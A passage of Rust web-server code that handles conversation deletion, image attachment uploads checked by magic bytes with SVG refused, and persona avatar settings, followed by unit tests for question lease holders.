10897        Ok(Json(TalkView::new(talk, thinking, &ui)))
10898    })
10899    .await
10900}
10901
10902/// `DELETE /api/talks/{id}`.
10903///
10904/// Removes the conversation's record and artifacts outright, unlike
10905/// [`talk_close`] which keeps the record as history. A turn already in
10906/// flight is not refused here the way [`run_delete`] refuses a live run:
10907/// [`talk::record`] and the tail of [`talk::turn`] check for themselves,
10908/// under [`Talks::guard`], that the record they are about to write back is
10909/// still there, so a delete racing a turn is safe without this route having
10910/// to know a turn is running at all.
10911async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
10912    blocking(move || {
10913        let id = resolve_talk(&ui.talks, &id)?;
10914        ui.talks.remove(&id)?;
10915        Ok(StatusCode::NO_CONTENT)
10916    })
10917    .await
10918}
10919
10920fn talk_ids(root: &FsPath) -> Vec<String> {
10921    std::fs::read_dir(root)
10922        .into_iter()
10923        .flatten()
10924        .flatten()
10925        .filter_map(|e| {
10926            let path = e.path();
10927            if path.extension().is_some_and(|ext| ext == "json") {
10928                path.file_stem().and_then(|s| s.to_str()).map(str::to_owned)
10929            } else {
10930                None
10931            }
10932        })
10933        .collect()
10934}
10935
10936/// Expand an id or short id to exactly one talk id.
10937fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
10938    if plain_record_id(id) && store.path_of(id).is_file() {
10939        return Ok(id.to_owned());
10940    }
10941    pick(talk_ids(store.root()), id, "talk")
10942}
10943
10944/// `POST /api/talks/{id}/attachments` - upload one image to attach to a
10945/// future `talk-say`.
10946async fn talk_attachment_post(
10947    State(ui): State<Arc<Ui>>,
10948    Path(id): Path<String>,
10949    headers: HeaderMap,
10950    body: Bytes,
10951) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
10952    let mime = validate_attachment(&headers, &body)?;
10953    let name = filename_header(&headers);
10954    let data = body.to_vec();
10955    blocking(move || {
10956        let id = resolve_talk(&ui.talks, &id)?;
10957        let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
10958        Ok((StatusCode::CREATED, Json(att)))
10959    })
10960    .await
10961}
10962
10963/// `GET /api/talks/{id}/attachments/{att}` - the stored image back, for a
10964/// `<img>` tag in the transcript.
10965async fn talk_attachment_get(
10966    State(ui): State<Arc<Ui>>,
10967    Path((id, att)): Path<(String, String)>,
10968) -> ApiResult<Response> {
10969    blocking(move || {
10970        let id = resolve_talk(&ui.talks, &id)?;
10971        let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
10972            return Err(ApiError::not_found(format!(
10973                "talk {id} has no attachment `{att}`"
10974            )));
10975        };
10976        Ok(attachment_response(&meta.mime, data))
10977    })
10978    .await
10979}
10980
10981/// The avatar URL for one persona of one conversation. `v` is a fingerprint of
10982/// the icon setting, so changing it changes the URL.
10983fn avatar_url(home: &FsPath, talk_id: &str, p: &persona::Persona) -> String {
10984    let id = avatar_encode(&p.id);
10985    format!(
10986        "/api/talks/{talk_id}/avatar?persona={id}&v={}",
10987        persona_icon::fingerprint(
10988            effective_persona_icon(home, &p.id, p.icon.as_deref()).as_deref()
10989        )
10990    )
10991}
10992
10993#[derive(Debug, Default, Deserialize)]
10994struct AvatarQuery {
10995    persona: Option<String>,
10996    /// Set by the page after the first load failed: skip the `icon`.
10997    builtin: Option<String>,
10998}
10999
11000/// Served with every built-in avatar: it is an image, so nothing else may run.
11001const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
11002
11003fn builtin_avatar(id: &str) -> Response {
11004    svg_avatar(persona_icon::builtin_svg(id))
11005}
11006
11007async fn operator_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
11008    raster_or_builtin(
11009        read_icon_file(&avatar_setting_path(&ui.home, None))
11010            .filter(|_| q.builtin.is_none())
11011            .as_deref(),
11012        persona_icon::operator_svg(),
11013    )
11014}
11015
11016fn svg_avatar(svg: &'static str) -> Response {
11017    (
11018        [
11019            (header::CONTENT_TYPE, "image/svg+xml"),
11020            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
11021            (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
11022            (header::CACHE_CONTROL, "no-cache"),
11023        ],
11024        svg,
11025    )
11026        .into_response()
11027}
11028
11029fn avatar_encode(value: &str) -> String {
11030    value
11031        .bytes()
11032        .map(|b| {
11033            if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
11034                char::from(b).to_string()
11035            } else {
11036                format!("%{b:02X}")
11037            }
11038        })
11039        .collect()
11040}
11041
11042// Display-only overrides live outside configuration and conversation records.
11043fn avatar_setting_path(home: &FsPath, persona: Option<&str>) -> PathBuf {
11044    let Some(id) = persona else {
11045        return home.join("avatars/operator.data");
11046    };
11047    let encoded: String = id.bytes().map(|b| format!("{b:02x}")).collect();
11048    let mut path = home.join("avatars/personas");
11049    for chunk in encoded.as_bytes().chunks(100) {
11050        path.push(std::str::from_utf8(chunk).expect("hex"));
11051    }
11052    path.join("icon.data")
11053}
11054
11055fn effective_persona_icon(home: &FsPath, id: &str, configured: Option<&str>) -> Option<String> {
11056    match read_icon_file(&avatar_setting_path(home, Some(id))) {
11057        Some(value) if value == "builtin" => Some(String::new()),
11058        Some(value) => Some(value),
11059        None => configured.map(str::to_owned),
11060    }
11061}
11062
11063fn operator_icon_url(home: &FsPath) -> String {
11064    format!(
11065        "/avatars/operator.svg?v={}",
11066        persona_icon::fingerprint(
11067            read_icon_file(&avatar_setting_path(home, None))
11068                .as_deref()
11069                .or(Some(persona_icon::operator_svg()))
11070        )
11071    )
11072}
11073
11074fn raster_or_builtin(icon: Option<&str>, builtin: &'static str) -> Response {
11075    let mut response = match icon.and_then(|i| persona_icon::load(i).ok()) {
11076        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
11077            attachment_response(mime, bytes)
11078        }
11079        _ => svg_avatar(builtin),
11080    };
11081    response
11082        .headers_mut()
11083        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
11084    response
11085}
11086
11087#[derive(Default, Deserialize)]
11088struct AvatarSettingsQuery {
11089    repo: Option<PathBuf>,
11090    persona: Option<String>,
11091    builtin: Option<String>,
11092    inherit: Option<String>,
11093}
11094
11095fn avatar_settings_specs(
11096    ui: &Ui,
11097    repo: Option<PathBuf>,
11098) -> ApiResult<(PathBuf, Vec<crate::config::PersonaSpec>)> {
11099    let (repo, _) = settings_context(ui, SettingsQuery { repo })?;
11100    let specs = settings::repository_config(&repo, ui.machine_config.as_deref())
11101        .map(|cfg| cfg.talk.personas)
11102        .unwrap_or_default();
11103    Ok((repo, specs))
11104}
11105
11106fn saved_persona_ids(path: &FsPath, prefix: &str, out: &mut Vec<String>) {
11107    let Ok(entries) = std::fs::read_dir(path) else {
11108        return;
11109    };
11110    for entry in entries.flatten() {
11111        let name = entry.file_name().to_string_lossy().into_owned();
11112        if name == "icon.data" {
11113            let bytes: Option<Vec<u8>> = prefix
11114                .as_bytes()
11115                .chunks(2)
11116                .map(|c| u8::from_str_radix(std::str::from_utf8(c).ok()?, 16).ok())
11117                .collect();
11118            if let Some(id) = bytes.and_then(|b| String::from_utf8(b).ok()) {
11119                out.push(id);
11120            }
11121        } else if name.len() <= 100
11122            && !name.is_empty()
11123            && name.bytes().all(|b| b.is_ascii_hexdigit())
11124            && entry.file_type().is_ok_and(|t| t.is_dir())
11125        {
11126            saved_persona_ids(&entry.path(), &format!("{prefix}{name}"), out);
11127        }
11128    }
11129}
11130
11131async fn avatar_settings_get(
11132    State(ui): State<Arc<Ui>>,
11133    Query(q): Query<AvatarSettingsQuery>,
11134) -> ApiResult<Json<serde_json::Value>> {
11135    blocking(move || {
11136        let (repo, specs) = avatar_settings_specs(&ui, q.repo)?;
11137        let mut catalog = persona::catalog(&specs);
11138        let known_ids: Vec<_> = catalog.iter().map(|p| p.id.clone()).collect();
11139        let mut saved = Vec::new();
11140        saved_persona_ids(&ui.home.join("avatars/personas"), "", &mut saved);
11141        for id in saved {
11142            if !catalog.iter().any(|p| p.id == id) {
11143                catalog.push(persona::Persona { name: format!("{id} (saved override)"), id, prompt: String::new(), icon: None });
11144            }
11145        }
11146        let personas: Vec<_> = catalog.iter().map(|p| {
11147            let saved = read_icon_file(&avatar_setting_path(&ui.home, Some(&p.id)));
11148            let override_state = match saved.as_deref() {
11149                Some("builtin") => "builtin",
11150                Some(_) => "custom",
11151                None => "inherit",
11152            };
11153            let icon = effective_persona_icon(&ui.home, &p.id, p.icon.as_deref());
11154            serde_json::json!({"id":p.id,"name":p.name,
11155                "override_state":override_state,"has_config_icon":p.icon.is_some(),
11156                "is_orphan":!known_ids.contains(&p.id),"avatar":format!("/avatars/persona?persona={}&repo={}&v={}",
11157                avatar_encode(&p.id), avatar_encode(&repo.to_string_lossy()), persona_icon::fingerprint(icon.as_deref()))})
11158        }).collect();
11159        Ok(Json(serde_json::json!({"operator":operator_icon_url(&ui.home), "personas":personas})))
11160    }).await
11161}
11162
11163async fn settings_persona_avatar(
11164    State(ui): State<Arc<Ui>>,
11165    Query(q): Query<AvatarSettingsQuery>,
11166) -> ApiResult<Response> {
11167    blocking(move || {
11168        let (_, specs) = avatar_settings_specs(&ui, q.repo)?;
11169        let id = q.persona.as_deref().unwrap_or(persona::DEFAULT_ID);
11170        let found = persona::find(&specs, id);
11171        let icon =
11172            effective_persona_icon(&ui.home, id, found.as_ref().and_then(|p| p.icon.as_deref()));
11173        Ok(raster_or_builtin(
11174            icon.as_deref().filter(|_| q.builtin.is_none()),
11175            persona_icon::builtin_svg(id),
11176        ))
11177    })
11178    .await
11179}
11180
11181fn validate_avatar_target(q: &AvatarSettingsQuery) -> ApiResult<()> {
11182    if q.persona
11183        .as_ref()
11184        .is_some_and(|p| p.is_empty() || p.len() > 4096)
11185    {
11186        return Err(ApiError::bad_request("invalid persona id"));
11187    }
11188    Ok(())
11189}
11190
11191async fn avatar_settings_put(
11192    State(ui): State<Arc<Ui>>,
11193    Query(q): Query<AvatarSettingsQuery>,
11194    Json(upload): Json<MagiIconUpload>,
11195) -> ApiResult<Json<serde_json::Value>> {
11196    blocking(move || {
11197        validate_avatar_target(&q)?;
11198        save_icon_file(
11199            &avatar_setting_path(&ui.home, q.persona.as_deref()),
11200            &upload.icon,
11201        )
11202        .map_err(ApiError::bad_request_from)?;
11203        Ok(Json(serde_json::json!({"saved":true})))
11204    })
11205    .await
11206}
11207
11208async fn avatar_settings_delete(
11209    State(ui): State<Arc<Ui>>,
11210    Query(q): Query<AvatarSettingsQuery>,
11211) -> ApiResult<Json<serde_json::Value>> {
11212    blocking(move || {
11213        validate_avatar_target(&q)?;
11214        let path = avatar_setting_path(&ui.home, q.persona.as_deref());
11215        if q.persona.is_some() && q.inherit.is_none() {
11216            atomic_icon_write(&path, "builtin")?;
11217        } else {
11218            match std::fs::remove_file(path) {
11219                Ok(()) => (),
11220                Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
11221                Err(e) => return Err(anyhow::Error::from(e).into()),
11222            }
11223        }
11224        Ok(Json(serde_json::json!({"saved":true})))
11225    })
11226    .await
11227}
11228
11229// The global MAGI icon is deliberately independent of repository configuration.
11230fn magi_icon_path(home: &FsPath) -> PathBuf {
11231    home.join("magi-icon.data")
11232}
11233
11234fn read_magi_icon(home: &FsPath) -> Option<String> {
11235    read_icon_file(&magi_icon_path(home))
11236}
11237
11238fn read_icon_file(path: &FsPath) -> Option<String> {
11239    let metadata = std::fs::metadata(path).ok()?;
11240    if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
11241        return None;
11242    }
11243    let file = std::fs::File::open(path).ok()?;
11244    use std::io::Read;
11245    let mut text = String::new();
11246    file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
11247        .read_to_string(&mut text)
11248        .ok()?;
11249    if text.len() > persona_icon::ICON_MAX_BYTES {
11250        return None;
11251    }
11252    if text == "builtin" {
11253        return Some(text);
11254    }
11255    validate_uploaded_icon(&text).ok()?;
11256    Some(text)
11257}
11258
11259fn magi_icon_url(home: &FsPath) -> String {
11260    format!(
11261        "/avatars/magi?v={}",
11262        persona_icon::fingerprint(read_magi_icon(home).as_deref())
11263    )
11264}
11265
11266async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
11267    Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
11268}
11269
11270#[derive(Deserialize)]
11271struct MagiIconUpload {
11272    icon: String,
11273}
11274
11275fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
11276    save_icon_file(&magi_icon_path(home), icon)
11277}
11278
11279fn validate_uploaded_icon(icon: &str) -> Result<()> {
11280    if !icon.starts_with("data:") {
11281        anyhow::bail!("upload a raster image");
11282    }
11283    let (mime, bytes) = persona_icon::load(icon)?;
11284    if sniffed_mime(&bytes) != Some(mime) {
11285        anyhow::bail!("image content does not match its type");
11286    }
11287    Ok(())
11288}
11289
11290fn save_icon_file(path: &FsPath, icon: &str) -> Result<()> {
11291    validate_uploaded_icon(icon)?;
11292    atomic_icon_write(path, icon)
11293}
11294
11295fn atomic_icon_write(path: &FsPath, icon: &str) -> Result<()> {
11296    let home = path.parent().expect("icon parent");
11297    std::fs::create_dir_all(home)?;
11298    let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
11299    let temp = home.join(format!(".magi-icon-{token}.tmp"));
11300    let result = (|| -> Result<()> {
11301        use std::io::Write;
11302        let mut file = std::fs::OpenOptions::new()
11303            .write(true)
11304            .create_new(true)
11305            .open(&temp)?;
11306        file.write_all(icon.as_bytes())?;
11307        file.sync_all()?;
11308        std::fs::rename(&temp, path)?;
11309        Ok(())
11310    })();
11311    let _ = std::fs::remove_file(temp);
11312    result?;
11313    Ok(())
11314}
11315
11316async fn magi_icon_put(
11317    State(ui): State<Arc<Ui>>,
11318    Json(upload): Json<MagiIconUpload>,
11319) -> ApiResult<Json<serde_json::Value>> {
11320    blocking(move || {
11321        if !upload.icon.starts_with("data:") {
11322            return Err(ApiError::bad_request("upload a raster image"));
11323        }
11324        let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
11325        if sniffed_mime(&bytes) != Some(mime) {
11326            return Err(ApiError::bad_request(
11327                "image content does not match its type",
11328            ));
11329        }
11330        save_magi_icon(&ui.home, &upload.icon)?;
11331        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
11332    })
11333    .await
11334}
11335
11336async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
11337    blocking(move || {
11338        match std::fs::remove_file(magi_icon_path(&ui.home)) {
11339            Ok(()) => (),
11340            Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
11341            Err(e) => return Err(anyhow::Error::from(e).into()),
11342        }
11343        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
11344    })
11345    .await
11346}
11347
11348async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
11349    let icon = (q.builtin.is_none())
11350        .then(|| read_magi_icon(&ui.home))
11351        .flatten();
11352    let mut response = match icon
11353        .as_deref()
11354        .and_then(|icon| persona_icon::load(icon).ok())
11355    {
11356        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
11357            attachment_response(mime, bytes)
11358        }
11359        _ => svg_avatar(persona_icon::magi_svg()),
11360    };
11361    response
11362        .headers_mut()
11363        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
11364    response
11365}
11366
11367/// `GET /api/talks/{id}/avatar?persona=<id>` - a persona's avatar: the
11368/// operator's raster `icon` when it resolves and its bytes agree with its
11369/// type, the built-in SVG otherwise. Display only; every failure is a warning
11370/// and the built-in avatar, never an error response.
11371async fn talk_avatar(
11372    State(ui): State<Arc<Ui>>,
11373    Path(id): Path<String>,
11374    Query(q): Query<AvatarQuery>,
11375) -> ApiResult<Response> {
11376    blocking(move || {
11377        let id = resolve_talk(&ui.talks, &id)?;
11378        let talk = ui.talks.get(&id)?;
11379        let wanted = q
11380            .persona
11381            .as_deref()
11382            .map(str::trim)
11383            .filter(|p| !p.is_empty())
11384            .unwrap_or(&talk.persona)
11385            .to_owned();
11386        let specs = match Config::discover(&talk.repo, None) {
11387            Ok((cfg, _)) => cfg.talk.personas,
11388            Err(e) => {
11389                tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
11390                Vec::new()
11391            }
11392        };
11393        let found = persona::find(&specs, &wanted);
11394        // Stored blank IDs are the plain voice, whose canonical ID is `default`.
11395        let wanted = found.as_ref().map_or(wanted, |p| p.id.clone());
11396        let icon = effective_persona_icon(
11397            &ui.home,
11398            &wanted,
11399            found.as_ref().and_then(|p| p.icon.as_deref()),
11400        );
11401        if found.is_none() && icon.is_none() {
11402            return Ok(builtin_avatar(persona::DEFAULT_ID));
11403        }
11404        let Some(icon) = icon
11405            .as_deref()
11406            .filter(|icon| !icon.is_empty() && q.builtin.is_none())
11407        else {
11408            return Ok(builtin_avatar(&wanted));
11409        };
11410        let Some(found) = found else {
11411            return Ok(raster_or_builtin(
11412                Some(icon),
11413                persona_icon::builtin_svg(&wanted),
11414            ));
11415        };
11416        match persona_icon::load(icon) {
11417            Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
11418                let mut res = attachment_response(mime, bytes);
11419                res.headers_mut().insert(
11420                    header::CACHE_CONTROL,
11421                    header::HeaderValue::from_static("no-cache"),
11422                );
11423                Ok(res)
11424            }
11425            Ok((mime, _)) => {
11426                tracing::warn!(
11427                    "avatar: icon of persona `{}` is not really {mime}; using the built-in",
11428                    found.id
11429                );
11430                Ok(builtin_avatar(&found.id))
11431            }
11432            Err(e) => {
11433                tracing::warn!(
11434                    "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
11435                    found.id
11436                );
11437                Ok(builtin_avatar(&found.id))
11438            }
11439        }
11440    })
11441    .await
11442}
11443
11444/// Validate an attachment upload's declared `Content-Type` and the bytes
11445/// themselves, returning the canonical mime on success.
11446///
11447/// Two checks, both required: the header has to name one of
11448/// [`ATTACHMENT_MIME_WHITELIST`] (which is what keeps SVG out - it is
11449/// simply never in the list, active content rather than a picture, the same
11450/// exclusion [`asset_content_type`]'s doc explains), and the file's own
11451/// magic number has to agree. The second is what stops a mislabeled upload -
11452/// an HTML file sent as `Content-Type: image/png` - from ever reaching disk;
11453/// a declared type is a claim, not a fact, so it is never trusted alone.
11454fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
11455    if data.len() > ATTACHMENT_MAX_BYTES {
11456        return Err(ApiError::bad_request(format!(
11457            "attachment is {} bytes, over the {} MiB limit",
11458            data.len(),
11459            ATTACHMENT_MAX_BYTES / (1024 * 1024)
11460        ))
11461        .with_status(StatusCode::PAYLOAD_TOO_LARGE));
11462    }
11463    if data.is_empty() {
11464        return Err(ApiError::bad_request("attachment is empty"));
11465    }
11466    let declared = declared_mime(headers)?;
11467    match sniffed_mime(data) {
11468        Some(sniffed) if sniffed == declared => Ok(declared),
11469        Some(sniffed) => Err(ApiError::bad_request(format!(
11470            "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
11471        ))),
11472        None => Err(ApiError::bad_request(
11473            "the file's bytes do not match any accepted image format",
11474        )),
11475    }
11476}
11477
11478/// The declared `Content-Type`, checked against [`ATTACHMENT_MIME_WHITELIST`]
11479/// and nothing else - parameters like `; charset=` are stripped, but the
11480/// value itself is not otherwise interpreted.
11481fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
11482    let raw = headers
11483        .get(header::CONTENT_TYPE)
11484        .and_then(|v| v.to_str().ok())
11485        .unwrap_or("")
11486        .split(';')
11487        .next()
11488        .unwrap_or("")
11489        .trim()
11490        .to_ascii_lowercase();
11491    ATTACHMENT_MIME_WHITELIST
11492        .iter()
11493        .find(|&&m| m == raw)
11494        .copied()
11495        .ok_or_else(|| {
11496            if raw == "image/svg+xml" {
11497                ApiError::bad_request(
11498                    "SVG is not accepted: it can carry active content (e.g. a <script>), \
11499                     not just a picture",
11500                )
11501            } else if raw.is_empty() {
11502                ApiError::bad_request("Content-Type is required for an attachment upload")
11503            } else {
11504                ApiError::bad_request(format!(
11505                    "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
11506                     image/gif or image/webp"
11507                ))
11508            }
11509        })
11510}
11511
11512/// Identify an image by its magic number, independent of whatever
11513/// `Content-Type` claimed.
11514fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
11515    if data.starts_with(b"\x89PNG\r\n\x1a\n") {
11516        Some("image/png")
11517    } else if data.starts_with(b"\xff\xd8\xff") {
11518        Some("image/jpeg")
11519    } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
11520        Some("image/gif")
11521    } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
11522        Some("image/webp")
11523    } else {
11524        None
11525    }
11526}
11527
11528/// The operator's own filename, from [`FILENAME_HEADER`], kept only for
11529/// display - see [`talk::Attachment::name`]'s doc on why it never
11530/// contributes to a path. A missing or blank header (curl without it, an
11531/// older front end) falls back to a generic name rather than refusing the
11532/// upload over a field that is cosmetic.
11533fn filename_header(headers: &HeaderMap) -> String {
11534    headers
11535        .get(FILENAME_HEADER)
11536        .and_then(|v| v.to_str().ok())
11537        .map(str::trim)
11538        .filter(|s| !s.is_empty())
11539        .unwrap_or("attachment")
11540        .to_owned()
11541}
11542
11543/// Every attachment `GET` response: the mime re-validated against the same
11544/// closed whitelist the upload route enforces - never the string trusted
11545/// verbatim off disk - plus `X-Content-Type-Options: nosniff`, so a browser
11546/// cannot decide it knows better than the type we send. Unlike a panel asset
11547/// there is no [`PANEL_CSP`] here: this is a plain image the phone's own
11548/// document renders inline, not agent-authored HTML in a sandboxed frame.
11549fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
11550    let content_type = ATTACHMENT_MIME_WHITELIST
11551        .iter()
11552        .find(|&&m| m == mime)
11553        .copied()
11554        .unwrap_or("application/octet-stream");
11555    (
11556        [
11557            (header::CONTENT_TYPE, content_type),
11558            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
11559        ],
11560        body,
11561    )
11562        .into_response()
11563}
11564
11565/// The configuration for a repository, read off the disk for this request.
11566///
11567/// Through [`blocking`] because discovery reads and merges several TOML files,
11568/// and because the alternative - caching it in [`Ui`] at startup - would mean
11569/// the operator's phone kept interviewing with a roster they had already
11570/// changed, with no way to reload it but restarting the server they are not
11571/// sitting in front of.
11572async fn config_for(repo: &FsPath) -> ApiResult<Config> {
11573    let repo = repo.to_path_buf();
11574    blocking(move || {
11575        let (cfg, _) = Config::discover(&repo, None)?;
11576        Ok(cfg)
11577    })
11578    .await
11579}
11580
11581/// The one prefix rule, used for both runs and tasks: a leading match for a
11582/// full id, a trailing match for the short form an operator reads off a
11583/// report. Written here rather than borrowed from `queue::resolve_id` because
11584/// the UI needs the two failures as different status codes, and telling them
11585/// apart from an error message is not something to build a route on.
11586fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
11587    let mut hits = ids
11588        .into_iter()
11589        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
11590    match (hits.next(), hits.next()) {
11591        (Some(one), None) => Ok(one),
11592        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
11593        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
11594            "`{prefix}` matches more than one {what}, including {a} and {b}"
11595        ))),
11596    }
11597}
11598
11599#[cfg(test)]
11600mod tests {
11601
11602    #[test]
11603    fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
11604        let dir = tempfile::tempdir().unwrap();
11605        let store = ask::Questions::at(dir.path().join("questions"));
11606        let mut q = Question::new(
11607            "task".to_owned(),
11608            "conduct".to_owned(),
11609            "conduct".to_owned(),
11610            "choose".to_owned(),
11611            String::new(),
11612            vec!["keep".to_owned()],
11613        );
11614        q.deputy = Some(ask::Deputy::new("brief".to_owned()));
11615        q.say("why?").unwrap();
11616        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
11617        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11618        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
11619        store.put(&mut q).unwrap();
11620        assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11621        assert_eq!(store.count_needs_owner(), 1);
11622        store.beat(&q.id, ask::WaiterKind::Deputy);
11623        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11624        assert_eq!(store.count_needs_owner(), 0);
11625        let mut stale = store.read_lease(&q.id).unwrap();
11626        stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
11627        std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
11628        let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
11629        assert!(view.deputy_exhausted);
11630        assert!(view.waiting_on_agent);
11631        assert_eq!(view.question.choices, ["keep"]);
11632        store.drop_lease(&q.id);
11633        q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
11634        assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
11635    }
11636
11637    #[test]
11638    fn holder_reads_the_lease_not_the_record() {
11639        let mut q = Question::new(
11640            "run".to_owned(),
11641            "implement".to_owned(),
11642            "impl-A".to_owned(),
11643            "which?".to_owned(),
11644            String::new(),
11645            Vec::new(),
11646        );
11647        assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
11648        q.cwd = Some("/tmp".to_owned());
11649        assert_eq!(holder_of(&q, None), Some("nobody"));
11650        let beat = |kind, ago: i64| ask::Lease {
11651            kind,
11652            pid: 1,
11653            beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
11654                .unwrap(),
11655        };
11656        let fresh = beat(ask::WaiterKind::Asker, 1);
11657        assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
11658        let daemon = beat(ask::WaiterKind::Daemon, 1);
11659        assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
11660        let stale = beat(ask::WaiterKind::Asker, 3600);
11661        assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
11662
11663        // A conductor question says "deputy" only while one is attached and
11664        // alive, and "nobody" - never silence - when nothing ever listened.
11665        let mut c = Question::new(
11666            "task".to_owned(),
11667            crate::conduct::NODE.to_owned(),
11668            "conduct".to_owned(),
11669            "which?".to_owned(),
11670            String::new(),
11671            Vec::new(),
11672        );
11673        assert_eq!(holder_of(&c, None), Some("nobody"));
11674        c.cwd = Some("/tmp".to_owned());
11675        c.deputy = Some(ask::Deputy::new("brief".to_owned()));
11676        assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
11677        let deputy = beat(ask::WaiterKind::Deputy, 1);
11678        assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
11679        assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
11680
11681        // A release-watch question: nobody until a deputy is attached.
11682        let mut r = Question::new(
11683            String::new(),
11684            crate::bump::NOTICE_NODE.to_owned(),
11685            "release-watch".to_owned(),
11686            "stuck?".to_owned(),
11687            String::new(),
11688            vec!["hold".to_owned()],
11689        );
11690        assert_eq!(holder_of(&r, None), Some("nobody"));
11691        r.deputy = Some(ask::Deputy::new("brief".to_owned()));
11692        assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
11693        // A choice-less bump notice is nobody's question at all.
11694        r.deputy = None;
11695        r.seat = "bump".to_owned();
11696        assert_eq!(holder_of(&r, None), None);
11697
11698        // A merge approval is the same: nobody until a deputy is attached
11699        // and alive, never a silent "no holder".
11700        let mut m = Question::new(
11701            "run".to_owned(),
11702            crate::land::APPROVAL_NODE.to_owned(),
11703            "land".to_owned(),
11704            "merge?".to_owned(),
11705            String::new(),
11706            Vec::new(),
11707        );
11708        assert_eq!(holder_of(&m, None), Some("nobody"));
11709        assert_eq!(
11710            holder_of(&m, Some(&fresh)),
11711            Some("asker"),
11712            "a live explicit wait is a listener even before a deputy is attached"
11713        );
11714        m.deputy = Some(ask::Deputy::new("brief".to_owned()));
11715        assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
11716        assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
11717        assert_eq!(holder_of(&m, None), Some("nobody"));
11718    }
11719
11720    fn stub_config() -> Config {
11721        // An explicit roster, so the result never depends on which agent CLIs
11722        // this machine has installed.
11723        Config {
11724            agents: vec![crate::config::AgentSpec {
11725                id: "stub".to_owned(),
11726                kind: AgentKind::Command,
11727                model: None,
11728                command: vec!["true".to_owned()],
11729                extra_args: Vec::new(),
11730                env: Default::default(),
11731                prompt_delivery: None,
11732                max_turn_secs: None,
11733            }],
11734            ..Config::default()
11735        }
11736    }
11737
11738    fn plain_question(seat: &str) -> Question {
11739        Question::new(
11740            String::new(),
11741            "n".to_owned(),
11742            seat.to_owned(),
11743            "s".to_owned(),
11744            String::new(),
11745            Vec::new(),
11746        )
11747    }
11748
11749    #[test]
11750    fn deputies_enabled_follows_the_config() {
11751        let on = stub_config();
11752        assert!(crate::deputy::can_start(Some(&on), ""));
11753        assert!(crate::deputy::can_start(Some(&on), "stub"));
11754        let mut off = on.clone();
11755        off.daemon.max_deputies = 0;
11756        assert!(!crate::deputy::can_start(Some(&off), ""));
11757        let mut empty = on;
11758        empty.agents.clear();
11759        assert!(!crate::deputy::can_start(Some(&empty), ""));
11760        assert!(!crate::deputy::can_start(None, ""));
11761    }
11762
11763    #[test]
11764    fn question_views_load_the_config_once() {
